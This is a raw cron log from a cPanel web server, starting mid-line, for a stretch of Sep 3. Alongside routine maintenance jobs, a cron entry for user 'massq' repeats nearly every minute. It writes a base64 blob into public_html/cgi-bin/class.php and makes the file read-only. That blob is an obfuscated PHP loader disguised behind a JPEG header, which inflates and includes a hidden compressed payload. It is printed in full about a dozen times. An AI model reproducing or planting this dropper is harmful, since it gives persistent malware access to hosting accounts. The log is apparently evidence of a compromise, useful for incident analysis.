--decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:07:01 server CROND[20221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:07:01 server CROND[20222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:07:01 server CROND[20223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:08:01 server CROND[20596]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:08:01 server CROND[20597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:08:01 server CROND[20598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:09:01 server CROND[20994]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 01:09:01 server CROND[20995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:09:01 server CROND[20997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:09:01 server CROND[20996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:10:01 server CROND[21383]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 01:10:01 server CROND[21385]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 01:10:01 server CROND[21386]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:10:01 server CROND[21388]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 01:10:01 server CROND[21387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:10:01 server CROND[21390]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 01:10:01 server CROND[21389]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 01:10:01 server CROND[21392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:11:01 server CROND[22371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:11:01 server CROND[22372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:11:01 server CROND[22373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:12:01 server CROND[22975]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:12:01 server CROND[22977]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 01:12:01 server CROND[22976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:12:01 server CROND[22978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:13:01 server CROND[23372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:13:01 server CROND[23374]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:13:01 server CROND[23373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:14:01 server CROND[23753]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:14:01 server CROND[23754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:14:01 server CROND[23755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:15:01 server CROND[24136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:15:01 server CROND[24138]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 01:15:01 server CROND[24140]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 01:15:01 server CROND[24139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:15:01 server CROND[24142]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 01:15:01 server CROND[24145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:15:01 server CROND[24144]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 01:15:01 server CROND[24146]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 01:16:01 server CROND[25125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:16:01 server CROND[25126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:16:01 server CROND[25127]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:17:01 server CROND[25496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:17:01 server CROND[25497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:17:01 server CROND[25498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:18:01 server CROND[25873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:18:01 server CROND[25874]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:18:01 server CROND[25876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
